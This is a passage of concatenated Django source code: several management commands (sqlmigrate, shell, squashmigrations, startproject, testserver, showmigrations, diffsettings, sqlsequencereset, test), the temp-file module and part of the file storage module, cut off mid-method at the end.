from django.db.migrations.loader import AmbiguityError


class Command(BaseCommand):
    help = "Prints the SQL statements for the named migration."

    output_transaction = True

    def add_arguments(self, parser):
        parser.add_argument('app_label', help='App label of the application containing the migration.')
        parser.add_argument('migration_name', help='Migration name to print the SQL for.')
        parser.add_argument(
            '--database', default=DEFAULT_DB_ALIAS,
            help='Nominates a database to create SQL for. Defaults to the "default" database.',
        )
        parser.add_argument(
            '--backwards', action='store_true', dest='backwards',
            default=False,
            help='Creates SQL to unapply the migration, rather than to apply it',
        )

    def execute(self, *args, **options):
        # sqlmigrate doesn't support coloring its output but we need to force
        # no_color=True so that the BEGIN/COMMIT statements added by
        # output_transaction don't get colored either.
        options['no_color'] = True
        return super(Command, self).execute(*args, **options)

    def handle(self, *args, **options):
        # Get the database we're operating from
        connection = connections[options['database']]

        # Load up an executor to get all the migration data
        executor = MigrationExecutor(connection)

        # Resolve command-line arguments into a migration
        app_label, migration_name = options['app_label'], options['migration_name']
        if app_label not in executor.loader.migrated_apps:
            raise CommandError("App '%s' does not have migrations" % app_label)
        try:
            migration = executor.loader.get_migration_by_prefix(app_label, migration_name)
        except AmbiguityError:
            raise CommandError("More than one migration matches '%s' in app '%s'. Please be more specific." % (
                migration_name, app_label))
        except KeyError:
            raise CommandError("Cannot find a migration matching '%s' from app '%s'. Is it in INSTALLED_APPS?" % (
                migration_name, app_label))
        targets = [(app_label, migration.name)]

        # Show begin/end around output only for atomic migrations
        self.output_transaction = migration.atomic

        # Make a plan that represents just the requested migrations and show SQL
        # for it
        plan = [(executor.loader.graph.nodes[targets[0]], options['backwards'])]
        sql_statements = executor.collect_sql(plan)
        return '\n'.join(sql_statements)






import os
import warnings

from django.core.management.base import BaseCommand
from django.utils.datastructures import OrderedSet
from django.utils.deprecation import RemovedInDjango20Warning


class Command(BaseCommand):
    help = "Runs a Python interactive interpreter. Tries to use IPython or bpython, if one of them is available."
    requires_system_checks = False
    shells = ['ipython', 'bpython', 'python']

    def add_arguments(self, parser):
        parser.add_argument(
            '--plain', action='store_true', dest='plain',
            help='Tells Django to use plain Python, not IPython or bpython. '
                 'Deprecated, use the `-i python` or `--interface python` option instead.',
        )
        parser.add_argument(
            '--no-startup', action='store_true', dest='no_startup',
            help='When using plain Python, ignore the PYTHONSTARTUP environment variable and ~/.pythonrc.py script.',
        )
        parser.add_argument(
            '-i', '--interface', choices=self.shells, dest='interface',
            help='Specify an interactive interpreter interface. Available options: "ipython", "bpython", and "python"',
        )
        parser.add_argument(
            '-c', '--command', dest='command',
            help='Instead of opening an interactive shell, run a command as Django and exit.',
        )

    def _ipython_pre_011(self):
        """Start IPython pre-0.11"""
        from IPython.Shell import IPShell
        shell = IPShell(argv=[])
        shell.mainloop()

    def _ipython_pre_100(self):
        """Start IPython pre-1.0.0"""
        from IPython.frontend.terminal.ipapp import TerminalIPythonApp
        app = TerminalIPythonApp.instance()
        app.initialize(argv=[])
        app.start()

    def _ipython(self):
        """Start IPython >= 1.0"""
        from IPython import start_ipython
        start_ipython(argv=[])

    def ipython(self, options):
        """Start any version of IPython"""
        for ip in (self._ipython, self._ipython_pre_100, self._ipython_pre_011):
            try:
                ip()
            except ImportError:
                pass
            else:
                return
        # no IPython, raise ImportError
        raise ImportError("No IPython")

    def bpython(self, options):
        import bpython
        bpython.embed()

    def python(self, options):
        import code
        # Set up a dictionary to serve as the environment for the shell, so
        # that tab completion works on objects that are imported at runtime.
        imported_objects = {}
        try:  # Try activating rlcompleter, because it's handy.
            import readline
        except ImportError:
            pass
        else:
            # We don't have to wrap the following import in a 'try', because
            # we already know 'readline' was imported successfully.
            import rlcompleter
            readline.set_completer(rlcompleter.Completer(imported_objects).complete)
            # Enable tab completion on systems using libedit (e.g. Mac OSX).
            # These lines are copied from Lib/site.py on Python 3.4.
            readline_doc = getattr(readline, '__doc__', '')
            if readline_doc is not None and 'libedit' in readline_doc:
                readline.parse_and_bind("bind ^I rl_complete")
            else:
                readline.parse_and_bind("tab:complete")

        # We want to honor both $PYTHONSTARTUP and .pythonrc.py, so follow system
        # conventions and get $PYTHONSTARTUP first then .pythonrc.py.
        if not options['no_startup']:
            for pythonrc in OrderedSet([os.environ.get("PYTHONSTARTUP"), os.path.expanduser('~/.pythonrc.py')]):
                if not pythonrc:
                    continue
                if not os.path.isfile(pythonrc):
                    continue
                try:
                    with open(pythonrc) as handle:
                        exec(compile(handle.read(), pythonrc, 'exec'), imported_objects)
                except NameError:
                    pass
        code.interact(local=imported_objects)

    def handle(self, **options):
        if options['plain']:
            warnings.warn(
                "The --plain option is deprecated in favor of the -i python or --interface python option.",
                RemovedInDjango20Warning
            )
            options['interface'] = 'python'

        # Execute the command and exit.
        if options['command']:
            exec(options['command'])
            return

        available_shells = [options['interface']] if options['interface'] else self.shells

        for shell in available_shells:
            try:
                return getattr(self, shell)(options)
            except ImportError:
                pass
        raise ImportError("Couldn't load any of the specified interfaces.")






from django.conf import settings
from django.core.management.base import BaseCommand, CommandError
from django.db import DEFAULT_DB_ALIAS, connections, migrations
from django.db.migrations.loader import AmbiguityError, MigrationLoader
from django.db.migrations.migration import SwappableTuple
from django.db.migrations.optimizer import MigrationOptimizer
from django.db.migrations.writer import MigrationWriter
from django.utils import six
from django.utils.version import get_docs_version


class Command(BaseCommand):
    help = "Squashes an existing set of migrations (from first until specified) into a single new one."

    def add_arguments(self, parser):
        parser.add_argument(
            'app_label',
            help='App label of the application to squash migrations for.',
        )
        parser.add_argument(
            'start_migration_name', default=None, nargs='?',
            help='Migrations will be squashed starting from and including this migration.',
        )
        parser.add_argument(
            'migration_name',
            help='Migrations will be squashed until and including this migration.',
        )
        parser.add_argument(
            '--no-optimize', action='store_true', dest='no_optimize', default=False,
            help='Do not try to optimize the squashed operations.',
        )
        parser.add_argument(
            '--noinput', '--no-input', action='store_false', dest='interactive', default=True,
            help='Tells Django to NOT prompt the user for input of any kind.',
        )

    def handle(self, **options):

        self.verbosity = options['verbosity']
        self.interactive = options['interactive']
        app_label = options['app_label']
        start_migration_name = options['start_migration_name']
        migration_name = options['migration_name']
        no_optimize = options['no_optimize']

        # Load the current graph state, check the app and migration they asked for exists
        loader = MigrationLoader(connections[DEFAULT_DB_ALIAS])
        if app_label not in loader.migrated_apps:
            raise CommandError(
                "App '%s' does not have migrations (so squashmigrations on "
                "it makes no sense)" % app_label
            )

        migration = self.find_migration(loader, app_label, migration_name)

        # Work out the list of predecessor migrations
        migrations_to_squash = [
            loader.get_migration(al, mn)
            for al, mn in loader.graph.forwards_plan((migration.app_label, migration.name))
            if al == migration.app_label
        ]

        if start_migration_name:
            start_migration = self.find_migration(loader, app_label, start_migration_name)
            start = loader.get_migration(start_migration.app_label, start_migration.name)
            try:
                start_index = migrations_to_squash.index(start)
                migrations_to_squash = migrations_to_squash[start_index:]
            except ValueError:
                raise CommandError(
                    "The migration '%s' cannot be found. Maybe it comes after "
                    "the migration '%s'?\n"
                    "Have a look at:\n"
                    "  python manage.py showmigrations %s\n"
                    "to debug this issue." % (start_migration, migration, app_label)
                )

        # Tell them what we're doing and optionally ask if we should proceed
        if self.verbosity > 0 or self.interactive:
            self.stdout.write(self.style.MIGRATE_HEADING("Will squash the following migrations:"))
            for migration in migrations_to_squash:
                self.stdout.write(" - %s" % migration.name)

            if self.interactive:
                answer = None
                while not answer or answer not in "yn":
                    answer = six.moves.input("Do you wish to proceed? [yN] ")
                    if not answer:
                        answer = "n"
                        break
                    else:
                        answer = answer[0].lower()
                if answer != "y":
                    return

        # Load the operations from all those migrations and concat together,
        # along with collecting external dependencies and detecting
        # double-squashing
        operations = []
        dependencies = set()
        # We need to take all dependencies from the first migration in the list
        # as it may be 0002 depending on 0001
        first_migration = True
        for smigration in migrations_to_squash:
            if smigration.replaces:
                raise CommandError(
                    "You cannot squash squashed migrations! Please transition "
                    "it to a normal migration first: "
                    "https://docs.djangoproject.com/en/%s/topics/migrations/#squashing-migrations" % get_docs_version()
                )
            operations.extend(smigration.operations)
            for dependency in smigration.dependencies:
                if isinstance(dependency, SwappableTuple):
                    if settings.AUTH_USER_MODEL == dependency.setting:
                        dependencies.add(("__setting__", "AUTH_USER_MODEL"))
                    else:
                        dependencies.add(dependency)
                elif dependency[0] != smigration.app_label or first_migration:
                    dependencies.add(dependency)
            first_migration = False

        if no_optimize:
            if self.verbosity > 0:
                self.stdout.write(self.style.MIGRATE_HEADING("(Skipping optimization.)"))
            new_operations = operations
        else:
            if self.verbosity > 0:
                self.stdout.write(self.style.MIGRATE_HEADING("Optimizing..."))

            optimizer = MigrationOptimizer()
            new_operations = optimizer.optimize(operations, migration.app_label)

            if self.verbosity > 0:
                if len(new_operations) == len(operations):
                    self.stdout.write("  No optimizations possible.")
                else:
                    self.stdout.write(
                        "  Optimized from %s operations to %s operations." %
                        (len(operations), len(new_operations))
                    )

        # Work out the value of replaces (any squashed ones we're re-squashing)
        # need to feed their replaces into ours
        replaces = []
        for migration in migrations_to_squash:
            if migration.replaces:
                replaces.extend(migration.replaces)
            else:
                replaces.append((migration.app_label, migration.name))

        # Make a new migration with those operations
        subclass = type("Migration", (migrations.Migration, ), {
            "dependencies": dependencies,
            "operations": new_operations,
            "replaces": replaces,
        })
        if start_migration_name:
            new_migration = subclass("%s_squashed_%s" % (start_migration.name, migration.name), app_label)
        else:
            new_migration = subclass("0001_squashed_%s" % migration.name, app_label)
            new_migration.initial = True

        # Write out the new migration file
        writer = MigrationWriter(new_migration)
        with open(writer.path, "wb") as fh:
            fh.write(writer.as_string())

        if self.verbosity > 0:
            self.stdout.write(self.style.MIGRATE_HEADING("Created new squashed migration %s" % writer.path))
            self.stdout.write("  You should commit this migration but leave the old ones in place;")
            self.stdout.write("  the new migration will be used for new installs. Once you are sure")
            self.stdout.write("  all instances of the codebase have applied the migrations you squashed,")
            self.stdout.write("  you can delete them.")
            if writer.needs_manual_porting:
                self.stdout.write(self.style.MIGRATE_HEADING("Manual porting required"))
                self.stdout.write("  Your migrations contained functions that must be manually copied over,")
                self.stdout.write("  as we could not safely copy their implementation.")
                self.stdout.write("  See the comment at the top of the squashed migration for details.")

    def find_migration(self, loader, app_label, name):
        try:
            return loader.get_migration_by_prefix(app_label, name)
        except AmbiguityError:
            raise CommandError(
                "More than one migration matches '%s' in app '%s'. Please be "
                "more specific." % (name, app_label)
            )
        except KeyError:
            raise CommandError(
                "Cannot find a migration matching '%s' from app '%s'." %
                (name, app_label)
            )






from importlib import import_module

from django.core.management.base import CommandError
from django.core.management.templates import TemplateCommand

from ..utils import get_random_secret_key


class Command(TemplateCommand):
    help = (
        "Creates a Django project directory structure for the given project "
        "name in the current directory or optionally in the given directory."
    )
    missing_args_message = "You must provide a project name."

    def handle(self, **options):
        project_name, target = options.pop('name'), options.pop('directory')
        self.validate_name(project_name, "project")

        # Check that the project_name cannot be imported.
        try:
            import_module(project_name)
        except ImportError:
            pass
        else:
            raise CommandError(
                "%r conflicts with the name of an existing Python module and "
                "cannot be used as a project name. Please try another name." % project_name
            )

        # Create a random SECRET_KEY to put it in the main settings.
        options['secret_key'] = get_random_secret_key()

        super(Command, self).handle('project', project_name, target, **options)






from django.core.management import call_command
from django.core.management.base import BaseCommand
from django.db import connection


class Command(BaseCommand):
    help = 'Runs a development server with data from the given fixture(s).'

    requires_system_checks = False

    def add_arguments(self, parser):
        parser.add_argument(
            'args', metavar='fixture', nargs='*',
            help='Path(s) to fixtures to load before running the server.',
        )
        parser.add_argument(
            '--noinput', '--no-input', action='store_false', dest='interactive', default=True,
            help='Tells Django to NOT prompt the user for input of any kind.',
        )
        parser.add_argument(
            '--addrport', default='',
            help='Port number or ipaddr:port to run the server on.',
        )
        parser.add_argument(
            '--ipv6', '-6', action='store_true', dest='use_ipv6', default=False,
            help='Tells Django to use an IPv6 address.',
        )

    def handle(self, *fixture_labels, **options):
        verbosity = options['verbosity']
        interactive = options['interactive']

        # Create a test database.
        db_name = connection.creation.create_test_db(verbosity=verbosity, autoclobber=not interactive, serialize=False)

        # Import the fixture data into the test database.
        call_command('loaddata', *fixture_labels, **{'verbosity': verbosity})

        # Run the development server. Turn off auto-reloading because it causes
        # a strange error -- it causes this handle() method to be called
        # multiple times.
        shutdown_message = (
            '\nServer stopped.\nNote that the test database, %r, has not been '
            'deleted. You can explore it on your own.' % db_name
        )
        use_threading = connection.features.test_db_allows_multiple_connections
        call_command(
            'runserver',
            addrport=options['addrport'],
            shutdown_message=shutdown_message,
            use_reloader=False,
            use_ipv6=options['use_ipv6'],
            use_threading=use_threading
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.core.management.base import BaseCommand, CommandError
from django.db import DEFAULT_DB_ALIAS, connections
from django.db.migrations.loader import MigrationLoader


class Command(BaseCommand):
    help = "Shows all available migrations for the current project"

    def add_arguments(self, parser):
        parser.add_argument(
            'app_label', nargs='*',
            help='App labels of applications to limit the output to.',
        )
        parser.add_argument(
            '--database', action='store', dest='database', default=DEFAULT_DB_ALIAS,
            help='Nominates a database to synchronize. Defaults to the "default" database.',
        )

        formats = parser.add_mutually_exclusive_group()
        formats.add_argument(
            '--list', '-l', action='store_const', dest='format', const='list',
            help='Shows a list of all migrations and which are applied.',
        )
        formats.add_argument(
            '--plan', '-p', action='store_const', dest='format', const='plan',
            help=(
                'Shows all migrations in the order they will be applied. '
                'With a verbosity level of 2 or above all direct migration dependencies '
                'and reverse dependencies (run_before) will be included.'
            )
        )

        parser.set_defaults(format='list')

    def handle(self, *args, **options):
        self.verbosity = options['verbosity']

        # Get the database we're operating from
        db = options['database']
        connection = connections[db]

        if options['format'] == "plan":
            return self.show_plan(connection)
        else:
            return self.show_list(connection, options['app_label'])

    def show_list(self, connection, app_names=None):
        """
        Shows a list of all migrations on the system, or only those of
        some named apps.
        """
        # Load migrations from disk/DB
        loader = MigrationLoader(connection, ignore_no_migrations=True)
        graph = loader.graph
        # If we were passed a list of apps, validate it
        if app_names:
            invalid_apps = []
            for app_name in app_names:
                if app_name not in loader.migrated_apps:
                    invalid_apps.append(app_name)
            if invalid_apps:
                raise CommandError("No migrations present for: %s" % (", ".join(invalid_apps)))
        # Otherwise, show all apps in alphabetic order
        else:
            app_names = sorted(loader.migrated_apps)
        # For each app, print its migrations in order from oldest (roots) to
        # newest (leaves).
        for app_name in app_names:
            self.stdout.write(app_name, self.style.MIGRATE_LABEL)
            shown = set()
            for node in graph.leaf_nodes(app_name):
                for plan_node in graph.forwards_plan(node):
                    if plan_node not in shown and plan_node[0] == app_name:
                        # Give it a nice title if it's a squashed one
                        title = plan_node[1]
                        if graph.nodes[plan_node].replaces:
                            title += " (%s squashed migrations)" % len(graph.nodes[plan_node].replaces)
                        # Mark it as applied/unapplied
                        if plan_node in loader.applied_migrations:
                            self.stdout.write(" [X] %s" % title)
                        else:
                            self.stdout.write(" [ ] %s" % title)
                        shown.add(plan_node)
            # If we didn't print anything, then a small message
            if not shown:
                self.stdout.write(" (no migrations)", self.style.ERROR)

    def show_plan(self, connection):
        """
        Shows all known migrations in the order they will be applied
        """
        # Load migrations from disk/DB
        loader = MigrationLoader(connection)
        graph = loader.graph
        targets = graph.leaf_nodes()
        plan = []
        seen = set()

        # Generate the plan
        for target in targets:
            for migration in graph.forwards_plan(target):
                if migration not in seen:
                    node = graph.node_map[migration]
                    plan.append(node)
                    seen.add(migration)

        # Output
        def print_deps(node):
            out = []
            for parent in sorted(node.parents):
                out.append("%s.%s" % parent.key)
            if out:
                return " ... (%s)" % ", ".join(out)
            return ""

        for node in plan:
            deps = ""
            if self.verbosity >= 2:
                deps = print_deps(node)
            if node.key in loader.applied_migrations:
                self.stdout.write("[X]  %s.%s%s" % (node.key[0], node.key[1], deps))
            else:
                self.stdout.write("[ ]  %s.%s%s" % (node.key[0], node.key[1], deps))






from django.core.management.base import BaseCommand


def module_to_dict(module, omittable=lambda k: k.startswith('_')):
    """Converts a module namespace to a Python dictionary."""
    return {k: repr(v) for k, v in module.__dict__.items() if not omittable(k)}


class Command(BaseCommand):
    help = """Displays differences between the current settings.py and Django's
    default settings. Settings that don't appear in the defaults are
    followed by "###"."""

    requires_system_checks = False

    def add_arguments(self, parser):
        parser.add_argument(
            '--all', action='store_true', dest='all', default=False,
            help='Display all settings, regardless of their value. Default values are prefixed by "###".',
        )

    def handle(self, **options):
        # Inspired by Postfix's "postconf -n".
        from django.conf import settings, global_settings

        # Because settings are imported lazily, we need to explicitly load them.
        settings._setup()

        user_settings = module_to_dict(settings._wrapped)
        default_settings = module_to_dict(global_settings)

        output = []
        for key in sorted(user_settings):
            if key not in default_settings:
                output.append("%s = %s  ###" % (key, user_settings[key]))
            elif user_settings[key] != default_settings[key]:
                output.append("%s = %s" % (key, user_settings[key]))
            elif options['all']:
                output.append("### %s = %s" % (key, user_settings[key]))
        return '\n'.join(output)






from __future__ import unicode_literals

from django.core.management.base import AppCommand
from django.db import DEFAULT_DB_ALIAS, connections


class Command(AppCommand):
    help = 'Prints the SQL statements for resetting sequences for the given app name(s).'

    output_transaction = True

    def add_arguments(self, parser):
        super(Command, self).add_arguments(parser)
        parser.add_argument(
            '--database', default=DEFAULT_DB_ALIAS,
            help='Nominates a database to print the SQL for. Defaults to the "default" database.',
        )

    def handle_app_config(self, app_config, **options):
        if app_config.models_module is None:
            return
        connection = connections[options['database']]
        models = app_config.get_models(include_auto_created=True)
        statements = connection.ops.sequence_reset_sql(self.style, models)
        return '\n'.join(statements)






import sys

from django.conf import settings
from django.core.management.base import BaseCommand
from django.test.utils import get_runner


class Command(BaseCommand):
    help = 'Discover and run tests in the specified modules or the current directory.'

    requires_system_checks = False

    def __init__(self):
        self.test_runner = None
        super(Command, self).__init__()

    def run_from_argv(self, argv):
        """
        Pre-parse the command line to extract the value of the --testrunner
        option. This allows a test runner to define additional command line
        arguments.
        """
        option = '--testrunner='
        for arg in argv[2:]:
            if arg.startswith(option):
                self.test_runner = arg[len(option):]
                break
        super(Command, self).run_from_argv(argv)

    def add_arguments(self, parser):
        parser.add_argument(
            'args', metavar='test_label', nargs='*',
            help='Module paths to test; can be modulename, modulename.TestCase or modulename.TestCase.test_method'
        )
        parser.add_argument(
            '--noinput', '--no-input', action='store_false', dest='interactive', default=True,
            help='Tells Django to NOT prompt the user for input of any kind.',
        )
        parser.add_argument(
            '--failfast', action='store_true', dest='failfast', default=False,
            help='Tells Django to stop running the test suite after first failed test.',
        )
        parser.add_argument(
            '--testrunner', action='store', dest='testrunner',
            help='Tells Django to use specified test runner class instead of '
                 'the one specified by the TEST_RUNNER setting.',
        )

        test_runner_class = get_runner(settings, self.test_runner)

        if hasattr(test_runner_class, 'add_arguments'):
            test_runner_class.add_arguments(parser)

    def handle(self, *test_labels, **options):
        from django.conf import settings
        from django.test.utils import get_runner

        TestRunner = get_runner(settings, options['testrunner'])

        test_runner = TestRunner(**options)
        failures = test_runner.run_tests(test_labels)

        if failures:
            sys.exit(bool(failures))






"""
The temp module provides a NamedTemporaryFile that can be reopened in the same
process on any platform. Most platforms use the standard Python
tempfile.NamedTemporaryFile class, but Windows users are given a custom class.

This is needed because the Python implementation of NamedTemporaryFile uses the
O_TEMPORARY flag under Windows, which prevents the file from being reopened
if the same flag is not provided [1][2]. Note that this does not address the
more general issue of opening a file for writing and reading in multiple
processes in a manner that works across platforms.

Also note that the custom version of NamedTemporaryFile does not support the
full range of keyword arguments available in Python 2.6+ and 3.0+.

1: https://mail.python.org/pipermail/python-list/2005-December/336957.html
2: http://bugs.python.org/issue14243
"""

import os
import tempfile

from django.core.files.utils import FileProxyMixin

__all__ = ('NamedTemporaryFile', 'gettempdir',)


if os.name == 'nt':
    class TemporaryFile(FileProxyMixin):
        """
        Temporary file object constructor that supports reopening of the
        temporary file in Windows.

        Note that unlike tempfile.NamedTemporaryFile from the standard library,
        __init__() does not support the 'delete' keyword argument in
        Python 2.6+, or the 'delete', 'buffering', 'encoding', or 'newline'
        keyword arguments in Python 3.0+.
        """
        def __init__(self, mode='w+b', bufsize=-1, suffix='', prefix='', dir=None):
            fd, name = tempfile.mkstemp(suffix=suffix, prefix=prefix, dir=dir)
            self.name = name
            self.file = os.fdopen(fd, mode, bufsize)
            self.close_called = False

        # Because close can be called during shutdown
        # we need to cache os.unlink and access it
        # as self.unlink only
        unlink = os.unlink

        def close(self):
            if not self.close_called:
                self.close_called = True
                try:
                    self.file.close()
                except (OSError, IOError):
                    pass
                try:
                    self.unlink(self.name)
                except (OSError):
                    pass

        def __del__(self):
            self.close()

        def __enter__(self):
            self.file.__enter__()
            return self

        def __exit__(self, exc, value, tb):
            self.file.__exit__(exc, value, tb)

    NamedTemporaryFile = TemporaryFile
else:
    NamedTemporaryFile = tempfile.NamedTemporaryFile

gettempdir = tempfile.gettempdir






import errno
import os
import warnings
from datetime import datetime

from django.conf import settings
from django.core.exceptions import SuspiciousFileOperation
from django.core.files import File, locks
from django.core.files.move import file_move_safe
from django.core.signals import setting_changed
from django.utils import timezone
from django.utils._os import abspathu, safe_join
from django.utils.crypto import get_random_string
from django.utils.deconstruct import deconstructible
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import filepath_to_uri, force_text
from django.utils.functional import LazyObject, cached_property
from django.utils.module_loading import import_string
from django.utils.six.moves.urllib.parse import urljoin
from django.utils.text import get_valid_filename

__all__ = ('Storage', 'FileSystemStorage', 'DefaultStorage', 'default_storage')


class Storage(object):
    """
    A base storage class, providing some default behaviors that all other
    storage systems can inherit or override, as necessary.
    """

    # The following methods represent a public interface to private methods.
    # These shouldn't be overridden by subclasses unless absolutely necessary.

    def open(self, name, mode='rb'):
        """
        Retrieves the specified file from storage.
        """
        return self._open(name, mode)

    def save(self, name, content, max_length=None):
        """
        Saves new content to the file specified by name. The content should be
        a proper File object or any python file-like object, ready to be read
        from the beginning.
        """
        # Get the proper name for the file, as it will actually be saved.
        if name is None:
            name = content.name

        if not hasattr(content, 'chunks'):
            content = File(content, name)

        name = self.get_available_name(name, max_length=max_length)
        return self._save(name, content)

    # These methods are part of the public API, with default implementations.

    def get_valid_name(self, name):
        """
        Returns a filename, based on the provided filename, that's suitable for
        use in the target storage system.
        """
        return get_valid_filename(name)

    def get_available_name(self, name, max_length=None):
        """
        Returns a filename that's free on the target storage system, and
        available for new content to be written to.
        """
        dir_name, file_name = os.path.split(name)
        file_root, file_ext = os.path.splitext(file_name)
        # If the filename already exists, add an underscore and a random 7
        # character alphanumeric string (before the file extension, if one
        # exists) to the filename until the generated filename doesn't exist.
        # Truncate original name if required, so the new filename does not
        # exceed the max_length.
        while self.exists(name) or (max_length and len(name) > max_length):
            # file_ext includes the dot.
            name = os.path.join(dir_name, "%s_%s%s" % (file_root, get_random_string(7), file_ext))
            if max_length is None:
                continue
            # Truncate file_root if max_length exceeded.
            truncation = len(name) - max_length
            if truncation > 0:
                file_root = file_root[:-truncation]
                # Entire file_root was truncated in attempt to find an available filename.
                if not file_root:
                    raise SuspiciousFileOperation(
                        'Storage can not find an available filename for "%s". '
                        'Please make sure that the corresponding file field '
                        'allows sufficient "max_length".' % name
                    )
                name = os.path.join(dir_name, "%s_%s%s" % (file_root, get_random_string(7), file_ext))
        return name

    def generate_filename(self, filename):
        """
        Validate the filename by calling get_valid_name() and return a filename
        to be passed to the save() method.
        """
        # `filename` may include a path as returned by FileField.upload_to.
        dirname, filename = os.path.split(filename)
        return os.path.normpath(os.path.join(dirname, self.get_valid_name(filename)))

    def path(self, name):
        """
        Returns a local filesystem path where the file can be retrieved using
        Python's built-in open() function. Storage systems that can't be
        accessed using open() should *not* implement this method.
        """
        raise NotImplementedError("This backend doesn't support absolute paths.")

    # The following methods form the public API for storage systems, but with
    # no default implementations. Subclasses must implement *all* of these.

    def delete(self, name):
        """
        Deletes the specified file from the storage system.
        """
        raise NotImplementedError('subclasses of Storage must provide a delete() method')

    def exists(self, name):
        """
        Returns True if a file referenced by the given name already exists in the
        storage system, or False if the name is available for a new file.
        """
        raise NotImplementedError('subclasses of Storage must provide an exists() method')

    def listdir(self, path):
        """
        Lists the contents of the specified path, returning a 2-tuple of lists;
        the first item being directories, the second item being files.
        """
        raise NotImplementedError('subclasses of Storage must provide a listdir() method')

    def size(self, name):
        """
        Returns the total size, in bytes, of the file specified by name.
        """
        raise NotImplementedError('subclasses of Storage must provide a size() method')

    def url(self, name):
        """
        Returns an absolute URL where the file's contents can be accessed
        directly by a Web browser.
        """
        raise NotImplementedError('subclasses of Storage must provide a url() method')

    def accessed_time(self, name):
        """
        Returns the last accessed time (as datetime object) of the file
        specified by name. Deprecated: use get_accessed_time() instead.
        """
        warnings.warn(
            'Storage.accessed_time() is deprecated in favor of get_accessed_time().',
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        raise NotImplementedError('subclasses of Storage must provide an accessed_time() method')

    def created_time(self, name):
        """
        Returns the creation time (as datetime object) of the file
        specified by name. Deprecated: use get_created_time() instead.
        """
        warnings.warn(
            'Storage.created_time() is deprecated in favor of get_created_time().',
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        raise NotImplementedError('subclasses of Storage must provide a created_time() method')

    def modified_time(self, name):
        """
        Returns the last modified time (as datetime object) of the file
        specified by name. Deprecated: use get_modified_time() instead.
        """
        warnings.warn(
            'Storage.modified_time() is deprecated in favor of get_modified_time().',
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        raise NotImplementedError('subclasses of Storage must provide a modified_time() method')

    def get_accessed_time(self, name):
        """
        Return the last accessed time (as a datetime) of the file specified by
        name. The datetime will be timezone-aware if USE_TZ=True.
        """
        # At the end of the deprecation:
        # raise NotImplementedError('subclasses of Storage must provide a get_accessed_time() method')
        warnings.warn(
            'Storage.accessed_time() is deprecated. '
            'Storage backends should implement get_accessed_time().',
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        dt = self.accessed_time(name)
        return _possibly_make_aware(dt)

    def get_created_time(self, name):
        """
        Return the creation time (as a datetime) of the file specified by name.
        The datetime will be timezone-aware if USE_TZ=True.
        """
        # At the end of the deprecation:
        # raise NotImplementedError('subclasses of Storage must provide a get_created_time() method')
        warnings.warn(
            'Storage.created_time() is deprecated. '
            'Storage backends should implement get_created_time().',
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        dt = self.created_time(name)
        return _possibly_make_aware(dt)

    def get_modified_time(self, name):
        """
        Return the last modified time (as a datetime) of the file specified by
        name. The datetime will be timezone-aware if USE_TZ=True.
        """
        # At the end of the deprecation:
        # raise NotImplementedError('subclasses of Storage must provide a get_modified_time() method')
        warnings.warn(
            'Storage.modified_time() is deprecated. '
            'Storage backends should implement get_modified_time().',
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        dt = self.modified_time(name)
        return _possibly_make_aware(dt)


def _possibly_make_aware(dt):
    """
    Convert a datetime object in the local timezone to aware
    in UTC, if USE_TZ is True.
    """
    # This function is only needed to help with the deprecations above and can
    # be removed in Django 2.0, RemovedInDjango20Warning.
    if settings.USE_TZ:
        tz = timezone.get_default_timezone()
        return timezone.make_aware(dt, tz).astimezone(timezone.utc)
    else:
        return dt


@deconstructible
class FileSystemStorage(Storage):
    """
    Standard filesystem storage
    """

    def __init__(self, location=None, base_url=None, file_permissions_mode=None,
                 directory_permissions_mode=None):
        self._location = location
        self._base_url = base_url
        self._file_permissions_mode = file_permissions_mode
        self._directory_permissions_mode = directory_permissions_mode
        setting_changed.connect(self._clear_cached_properties)

    def _clear_cached_properties(self, setting, **kwargs):
        """Reset setting based property values."""
        if setting == 'MEDIA_ROOT':
            self.__dict__.pop('base_location', None)
            self.__dict__.pop('location', None)
        elif setting == 'MEDIA_URL':
            self.__dict__.pop('base_url', None)
        elif setting == 'FILE_UPLOAD_PERMISSIONS':
            self.__dict__.pop('file_permissions_mode', None)
        elif setting == 'FILE_UPLOAD_DIRECTORY_PERMISSIONS':
            self.__dict__.pop('directory_permissions_mode', None)

    def _value_or_setting(self, value, setting):
        return setting if value is None else value

    @cached_property
    def base_location(self):
        return self._value_or_setting(self._location, settings.MEDIA_ROOT)

    @cached_property
    def location(self):
        return abspathu(self.base_location)

    @cached_property
    def base_url(self):
        if self._base_url is not None and not self._base_url.endswith('/'):
            self._base_url += '/'
        return self._value_or_setting(self._base_url, settings.MEDIA_URL)

    @cached_property
    def file_permissions_mode(self):
        return self._value_or_setting(self._file_permissions_mode, settings.FILE_UPLOAD_PERMISSIONS)

    @cached_property
    def directory_permissions_mode(self):
        return self._value_or_setting(self._directory_permissions_mode, settings.FILE_UPLOAD_DIRECTORY_PERMISSIONS)

    def _open(self, name, mode='rb'):
        return File(open(self.path(name), mode))

    def _save(self, name, content):
        full_path = self.path(name)

        # Create any intermediate directories that do not exist.
        # Note that there is a race between os.path.exists and os.makedirs:
        # if os.makedirs fails with EEXIST, the directory was created
        # concurrently, and we can continue normally. Refs #16082.
        directory = os.path.dirname(full_path)
        if not os.path.exists(directory):
            try:
                if self.directory_permissions_mode is not None:
                    # os.makedirs applies the global umask, so we reset it,
                    # for consistency with file_permissions_mode behavior.
                    old_umask = os.umask(0)
                    try:
                        os.makedirs(directory, self.directory_permissions_mode)
                    finally:
                        os.umask(old_umask)
                else:
                    os.makedirs(directory)
            except OSError as e:
                if e.errno != errno.EEXIST:
                    raise
        if not os.path.isdir(directory):
            raise IOError("%s exists and is not a directory." % directory)

        # There's a potential race condition between get_available_name and
        # saving the file; it's possible that two threads might return the
        # same name, at which point all sorts of fun happens. So we need to
        # try to create the file, but if it already exists we have to go back
        # to get_available_name() and try again.

        while True:
            try:
                # This file has a file path that we can move.
                if hasattr(content, 'temporary_file_path'):
                    file_move_safe(content.temporary_file_path(), full_path)

                # This is a normal uploadedfile that we can stream.
                else:
                    # This fun binary flag incantation makes os.open throw an
                    # OSError if the file already exists before we open it.
